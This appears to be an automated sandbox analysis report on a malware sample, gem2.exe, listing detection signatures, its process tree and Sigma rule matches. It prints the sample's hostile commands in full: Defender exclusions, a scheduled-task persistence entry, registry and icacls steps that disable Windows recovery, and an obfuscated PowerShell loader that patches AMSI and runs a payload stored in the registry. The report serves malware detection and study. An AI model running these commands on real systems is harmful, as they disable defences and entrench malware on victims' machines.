Edit tour

Windows Analysis Report
gem2.exe

Overview

General Information

Sample name:	gem2.exe
Analysis ID:	1589411
MD5:	be89d598cd96443479c02b022ff70532
SHA1:	f0ab69f56ebbbdda791d61fd3d22476d61135871
SHA256:	a4c4487dcacebf5048b2266233f5645cfe421154f26e6685ced36aa0621037f1
Tags:	66-63-187-250exeuser-JAMESWT_MHT
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Allocates memory in foreign processes

Contain functionality to detect virtual machines

Contains functionality to inject code into remote processes

Creates a thread in another existing process (thread injection)

Creates autostart registry keys with suspicious names

Drops executables to the windows directory (C:\Windows) and starts them

Found direct / indirect Syscall (likely to bypass EDR)

Found strings related to Crypto-Mining

Found suspicious powershell code related to unpacking or dynamic code loading

Hooks files or directories query functions (used to hide files and directories)

Hooks processes query functions (used to hide processes)

Hooks registry keys query functions (used to hide registry keys)

Injects a PE file into a foreign processes

Injects code into the Windows Explorer (explorer.exe)

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies the context of a thread in another process (thread injection)

Modifies the prolog of user mode functions (user mode inline hooks)

Obfuscated command line found

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Sigma detected: Potential PowerShell Command Line Obfuscation

Sigma detected: Potential WinAPI Calls Via CommandLine

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Suspect Svchost Activity

Suspicious powershell command line found

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses cmd line tools excessively to alter registry or file data

Uses powercfg.exe to modify the power settings

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a connection to the internet is available

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create an SMB header

Contains functionality to dynamically determine API calls

Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to query network adapater information

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates COM task schedule object (often to register a task for autostart)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found evasive API chain (may stop execution after accessing registry keys)

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Powershell Defender Exclusion

Sigma detected: Uncommon Svchost Parent Process

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Stores large binary data to the registry

Uses Microsoft's Enhanced Cryptographic Provider

Uses cacls to modify the permissions of files

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Classification

Process Tree

System is w10x64

gem2.exe (PID: 2692 cmdline: "C:\Users\user\Desktop\gem2.exe" MD5: BE89D598CD96443479C02B022FF70532)

powershell.exe (PID: 4684 cmdline: powershell.exe -Command "Add-MpPreference -ExclusionExtension '.exe'; Add-MpPreference -ExclusionProcess 'svchost.exe'" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1548 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 7256 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

schtasks.exe (PID: 7476 cmdline: SCHTASKS /CREATE /TN "System-f4855f59e0" /TR "C:\Windows\System32\System-f4855f59e0.exe" /SC ONLOGON /RL HIGHEST /F MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 7484 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 7628 cmdline: C:\Windows\System32\svchost.exe MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

powercfg.exe (PID: 7700 cmdline: powercfg -change standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7728 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7716 cmdline: powercfg -change monitor-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7748 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7736 cmdline: powercfg /setacvalueindex SCHEME_CURRENT SUB_BUTTONS LIDACTION 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7776 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7764 cmdline: powercfg /setactive SCHEME_CURRENT MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7816 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7804 cmdline: cmd.exe /C reagentc /disable MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7840 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ReAgentc.exe (PID: 7968 cmdline: reagentc /disable MD5: A109CC3B919C7D40E4114966340F39E5)

cmd.exe (PID: 8032 cmdline: cmd.exe /C reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System" /v DisableReset /t REG_DWORD /d 1 /f MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8044 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 8076 cmdline: reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System" /v DisableReset /t REG_DWORD /d 1 /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

cmd.exe (PID: 8184 cmdline: cmd.exe /C reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Recovery\Configuration" /v REEnable /t REG_DWORD /d 0 /f MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5904 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 6708 cmdline: reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Recovery\Configuration" /v REEnable /t REG_DWORD /d 0 /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

cmd.exe (PID: 7304 cmdline: cmd.exe /C takeown /f C:\Windows\System32\reagentc.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4716 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

takeown.exe (PID: 7356 cmdline: takeown /f C:\Windows\System32\reagentc.exe MD5: D258A76AA885CBBCAE8C720CD1C284A5)

cmd.exe (PID: 2192 cmdline: cmd.exe /C icacls C:\Windows\System32\reagentc.exe /grant administrators:F MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5368 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

icacls.exe (PID: 7516 cmdline: icacls C:\Windows\System32\reagentc.exe /grant administrators:F MD5: 48C87E3B3003A2413D6399EA77707F5D)

cmd.exe (PID: 7508 cmdline: cmd.exe /C icacls C:\Windows\System32\reagentc.exe /deny Everyone:(X) MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7440 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

icacls.exe (PID: 5520 cmdline: icacls C:\Windows\System32\reagentc.exe /deny Everyone:(X) MD5: 48C87E3B3003A2413D6399EA77707F5D)

WMIC.exe (PID: 5988 cmdline: wmic diskdrive get serialnumber MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

conhost.exe (PID: 6008 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 1552 cmdline: wmic diskdrive get serialnumber MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

conhost.exe (PID: 1588 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 2236 cmdline: curl -s https://api.ipify.org MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)

conhost.exe (PID: 3312 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

explorer.exe (PID: 7788 cmdline: "C:\Windows\SysWOW64\explorer.exe" MD5: DD6597597673F72E10C9DE7901FBA0A8)

System-f4855f59e0.exe (PID: 7524 cmdline: C:\Windows\System32\System-f4855f59e0.exe MD5: BE89D598CD96443479C02B022FF70532)

Microsoft-f4855f59e0.exe (PID: 7692 cmdline: "C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe" MD5: BE89D598CD96443479C02B022FF70532)

powershell.exe (PID: 7992 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:EtrMmUyKmezi{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$lQOtNkEZiwxXMY,[Parameter(Position=1)][Type]$pZbFqViXVD)$sbBqvXXfarI=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+'e'+[Char](102)+''+'l'+''+[Char](101)+''+[Char](99)+'t'+[Char](101)+''+'d'+''+'D'+''+[Char](101)+''+[Char](108)+''+'e'+'ga'+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'nM'+[Char](101)+'m'+[Char](111)+''+[Char](114)+'y'+[Char](77)+'od'+'u'+'l'+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+''+[Char](68)+'e'+[Char](108)+''+'e'+''+'g'+''+[Char](97)+''+[Char](116)+''+[Char](101)+''+[Char](84)+''+'y'+''+[Char](112)+''+[Char](101)+'','C'+'l'+''+'a'+''+[Char](115)+''+'s'+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+'S'+[Char](101)+''+[Char](97)+'led'+[Char](44)+'A'+[Char](110)+''+[Char](115)+''+'i'+''+'C'+''+[Char](108)+''+'a'+'s'+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+'to'+'C'+'l'+'a'+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$sbBqvXXfarI.DefineConstructor(''+[Char](82)+''+'T'+''+[Char](83)+''+[Char](112)+''+[Char](101)+''+'c'+'i'+[Char](97)+''+[Char](108)+''+[Char](78)+'a'+[Char](109)+''+[Char](101)+''+','+''+[Char](72)+''+'i'+''+[Char](100)+'e'+'B'+''+'y'+''+[Char](83)+'i'+[Char](103)+''+[Char](44)+'P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$lQOtNkEZiwxXMY).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+'m'+[Char](101)+''+','+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+''+[Char](103)+'ed');$sbBqvXXfarI.DefineMethod(''+'I'+''+[Char](110)+''+'v'+''+'o'+''+[Char](107)+''+'e'+'',''+'P'+''+'u'+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+'H'+[Char](105)+''+[Char](100)+'e'+'B'+''+'y'+''+[Char](83)+'i'+[Char](103)+''+','+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+'l'+'ot'+[Char](44)+'V'+[Char](105)+''+[Char](114)+'tual',$pZbFqViXVD,$lQOtNkEZiwxXMY).SetImplementationFlags('Ru'+'n'+''+'t'+''+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+'n'+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');Write-Output $sbBqvXXfarI.CreateType();}$MoLktxqtnxyrW=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+'st'+'e'+'m'+'.'+''+[Char](100)+''+[Char](108)+''+'l'+'')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+''+[Char](114)+'o'+[Char](115)+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+'W'+''+[Char](105)+''+[Char](110)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](85)+'ns'+'a'+''+[Char](102)+''+[Char](101)+''+[Char](78)+''+'a'+''+[Char](116)+''+[Char](105)+''+'v'+''+[Char](101)+'M'+[Char](101)+''+[Char](116)+'hod'+[Char](115)+'');$kpBUoTRvoOegOC=$MoLktxqtnxyrW.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+''+'P'+'r'+'o'+'c'+[Char](65)+''+[Char](100)+''+'d'+'r'+[Char](101)+''+[Char](115)+'s',[Reflection.BindingFlags]('P'+'u'+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+','+''+[Char](83)+''+'t'+''+[Char](97)+''+'t'+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$EtevswwRQwRAejVCuvR=EtrMmUyKmezi @([String])([IntPtr]);$JKiOnBfFNlGvOZPRImquAA=EtrMmUyKmezi @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$YdcUizEhLfa=$MoLktxqtnxyrW.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+'M'+[Char](111)+''+'d'+''+[Char](117)+''+[Char](108)+''+'e'+''+'H'+''+'a'+''+[Char](110)+''+[Char](100)+'l'+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+'r'+''+'n'+''+[Char](101)+''+'l'+''+'3'+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$scwfUeOSfALItM=$kpBUoTRvoOegOC.Invoke($Null,@([Object]$YdcUizEhLfa,[Object](''+'L'+''+'o'+''+[Char](97)+''+'d'+''+'L'+''+'i'+''+[Char](98)+''+'r'+''+[Char](97)+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$OBgtMEtNHoxgskRxX=$kpBUoTRvoOegOC.Invoke($Null,@([Object]$YdcUizEhLfa,[Object]('V'+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+'l'+''+[Char](80)+'r'+[Char](111)+''+'t'+''+[Char](101)+''+[Char](99)+'t')));$CdwwlVp=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($scwfUeOSfALItM,$EtevswwRQwRAejVCuvR).Invoke(''+[Char](97)+'m'+[Char](115)+''+'i'+''+'.'+''+[Char](100)+''+[Char](108)+'l');$TXsAOQOMQALSJtBsu=$kpBUoTRvoOegOC.Invoke($Null,@([Object]$CdwwlVp,[Object](''+[Char](65)+'ms'+[Char](105)+''+'S'+''+[Char](99)+'a'+[Char](110)+''+'B'+''+[Char](117)+''+[Char](102)+'f'+[Char](101)+''+[Char](114)+'')));$TBhmHaliuf=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OBgtMEtNHoxgskRxX,$JKiOnBfFNlGvOZPRImquAA).Invoke($TXsAOQOMQALSJtBsu,[uint32]8,4,[ref]$TBhmHaliuf);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$TXsAOQOMQALSJtBsu,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OBgtMEtNHoxgskRxX,$JKiOnBfFNlGvOZPRImquAA).Invoke($TXsAOQOMQALSJtBsu,[uint32]8,0x20,[ref]$TBhmHaliuf);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+'O'+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+[Char](65)+'R'+[Char](69)+'').GetValue(''+'$'+''+'L'+''+'M'+''+[Char](88)+''+[Char](115)+''+'t'+''+'a'+''+[Char](103)+''+'e'+'r')).EntryPoint.Invoke($Null,$Null)" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8016 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

dllhost.exe (PID: 1252 cmdline: C:\Windows\System32\dllhost.exe /Processid:{d5abccfd-b418-4ad6-92a2-7793c4b25dc9} MD5: 08EB78E5BE019DF044C26B14703BD1FA)

winlogon.exe (PID: 556 cmdline: winlogon.exe MD5: F8B41A1B3E569E7E6F990567F21DCE97)

lsass.exe (PID: 632 cmdline: C:\Windows\system32\lsass.exe MD5: A1CC00332BBF370654EE3DC8CDC8C95A)

svchost.exe (PID: 912 cmdline: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

dwm.exe (PID: 976 cmdline: "dwm.exe" MD5: 5C27608411832C5B39BA04E33D53536C)

WinDrive-f4855f59e0.exe (PID: 8168 cmdline: "C:\Users\user~1\AppData\Local\Temp\WinDrive-f4855f59e0.exe" MD5: BE89D598CD96443479C02B022FF70532)

Microsoft-f4855f59e0.exe (PID: 2168 cmdline: "C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe" MD5: BE89D598CD96443479C02B022FF70532)

cleanup

Sigma Signatures

System Summary

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: SCHTASKS /CREATE /TN "System-f4855f59e0" /TR "C:\Windows\System32\System-f4855f59e0.exe" /SC ONLOGON /RL HIGHEST /F, CommandLine: SCHTASKS /CREATE /TN "System-f4855f59e0" /TR "C:\Windows\System32\System-f4855f59e0.exe" /SC ONLOGON /RL HIGHEST /F, CommandLine|base64offset|contains: H!", Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\gem2.exe", ParentImage: C:\Users\user\Desktop\gem2.exe, ParentProcessId: 2692, ParentProcessName: gem2.exe, ProcessCommandLine: SCHTASKS /CREATE /TN "System-f4855f59e0" /TR "C:\Windows\System32\System-f4855f59e0.exe" /SC ONLOGON /RL HIGHEST /F, ProcessId: 7476, ProcessName: schtasks.exe

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Sigma detected: Potential PowerShell Command Line Obfuscation

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp): Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:EtrMmUyKmezi{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$lQOtNkEZiwxXMY,[Parameter(Position=1)][Type]$pZbFqViXVD)$sbBqvXXfarI=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+'e'+[Char](102)+''+'l'+''+[Char](101)+''+[Char](99)+'t'+[Char](101)+''+'d'+''+'D'+''+[Char](101)+''+[Char](108)+''+'e'+'ga'+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'nM'+[Char](101)+'m'+[Char](111)+''+[Char](114)+'y'+[Char](77)+'od'+'u'+'l'+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+''+[Char](68)+'e'+[Char](108)+''+'e'+''+'g'+''+[Char](97)+''+[Char](116)+''+[Char](101)+''+[Char](84)+''+'y'+''+[Char](112)+''+[Char](101)+'','C'+'l'+''+'a'+''+[Char](115)+''+'s'+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+'S'+[Char](101)+''+[Char](97)+'led'+[Char](44)+'A'+[Char](110)+''+[Char](115)+''+'i'+''+'C'+''+[Char](108)+''+'a'+'s'+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+'to'+'C'+'l'+'a'+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$sbBqvXXfarI.DefineConstructor(''+[Char](82)+''+'T'+''+[Char](83)+''+[Char](112)+''+[Char](101)+''+'c'+'i'+[Char](97)+''+[Char](108)+''+[Char](78)+'a'+[Char](109)+''+[Char](101)+''+','+''+[Char](72)+''+'i'+''+[Char](100)+'e'+'B'+''+'y'+''+[Char](83)+'i'+[Char](103)+''+[Char](44)+'P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$lQOtNkEZiwxXMY).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+'m'+[Char](101)+''+','+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+''+[Char](103)+'ed');$sbBqvXXfarI.DefineMethod(''+'I'+''+[Char](110)+''+'v'+''+'o'+''+[Char](107)+''+'e'+'',''+'P'+''+'u'+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+'H'+[Char](105)+''+[Char](100)+'e'+'B'+''+'y'+''+[Char](83)+'i'+[Char](103)+''+','+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+'l'+'ot'+[Char](44)+'V'+[Char](105)+''+[Char](114)+'tual',$pZbFqViXVD,$lQOtNkEZiwxXMY).SetImplementationFlags('Ru'+'n'+''+'t'+''+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+'n'+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');Write-Output $sbBqvXXfarI.CreateType();}$MoLktxqtnxyrW=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+'st'+'e'+'m'+'.'+''+[Char](100)+''+[Char](108)+''+'l'+'')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+''+[Char](114)+'o'+[Char](115)+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+'W'+''+[Char](105)+''+[Char](110)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](85)+'ns'+'a'+''+[Char](102)+''+[Char](101)+''+[Char](78)+''+'a'+''+[Char](116)+''+[Char](105)+''+'v'+''+[Char](101)+'M'+[Char](101)+''+[Char](116)+'hod'+[Char](115)+'');$kpBUo

Sigma detected: Potential WinAPI Calls Via CommandLine

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:EtrMmUyKmezi{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$lQOtNkEZiwxXMY,[Parameter(Position=1)][Type]$pZbFqViXVD)$sbBqvXXfarI=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+'e'+[Char](102)+''+'l'+''+[Char](101)+''+[Char](99)+'t'+[Char](101)+''+'d'+''+'D'+''+[Char](101)+''+[Char](108)+''+'e'+'ga'+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'nM'+[Char](101)+'m'+[Char](111)+''+[Char](114)+'y'+[Char](77)+'od'+'u'+'l'+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+''+[Char](68)+'e'+[Char](108)+''+'e'+''+'g'+''+[Char](97)+''+[Char](116)+''+[Char](101)+''+[Char](84)+''+'y'+''+[Char](112)+''+[Char](101)+'','C'+'l'+''+'a'+''+[Char](115)+''+'s'+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+'S'+[Char](101)+''+[Char](97)+'led'+[Char](44)+'A'+[Char](110)+''+[Char](115)+''+'i'+''+'C'+''+[Char](108)+''+'a'+'s'+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+'to'+'C'+'l'+'a'+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$sbBqvXXfarI.DefineConstructor(''+[Char](82)+''+'T'+''+[Char](83)+''+[Char](112)+''+[Char](101)+''+'c'+'i'+[Char](97)+''+[Char](108)+''+[Char](78)+'a'+[Char](109)+''+[Char](101)+''+','+''+[Char](72)+''+'i'+''+[Char](100)+'e'+'B'+''+'y'+''+[Char](83)+'i'+[Char](103)+''+[Char](44)+'P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$lQOtNkEZiwxXMY).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+'m'+[Char](101)+''+','+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+''+[Char](103)+'ed');$sbBqvXXfarI.DefineMethod(''+'I'+''+[Char](110)+''+'v'+''+'o'+''+[Char](107)+''+'e'+'',''+'P'+''+'u'+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+'H'+[Char](105)+''+[Char](100)+'e'+'B'+''+'y'+''+[Char](83)+'i'+[Char](103)+''+','+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+'l'+'ot'+[Char](44)+'V'+[Char](105)+''+[Char](114)+'tual',$pZbFqViXVD,$lQOtNkEZiwxXMY).SetImplementationFlags('Ru'+'n'+''+'t'+''+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+'n'+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');Write-Output $sbBqvXXfarI.CreateType();}$MoLktxqtnxyrW=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+'st'+'e'+'m'+'.'+''+[Char](100)+''+[Char](108)+''+'l'+'')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+''+[Char](114)+'o'+[Char](115)+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+'W'+''+[Char](105)+''+[Char](110)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](85)+'ns'+'a'+''+[Char](102)+''+[Char](101)+''+[Char](78)+''+'a'+''+[Char](116)+''+[Char](105)+''+'v'+''+[Char](101)+'M'+[Char](101)+''+[Char](116)+'hod'+[Char](115)+'');$kpBUo

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe -Command "Add-MpPreference -ExclusionExtension '.exe'; Add-MpPreference -ExclusionProcess 'svchost.exe'", CommandLine: powershell.exe -Command "Add-MpPreference -ExclusionExtension '.exe'; Add-MpPreference -ExclusionProcess 'svchost.exe'", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\gem2.exe", ParentImage: C:\Users\user\Desktop\gem2.exe, ParentProcessId: 2692, ParentProcessName: gem2.exe, ProcessCommandLine: powershell.exe -Command "Add-MpPreference -ExclusionExtension '.exe'; Add-MpPreference -ExclusionProcess 'svchost.exe'", ProcessId: 4684, ProcessName: powershell.exe

Sigma detected: Suspect Svchost Activity

Source: Process started

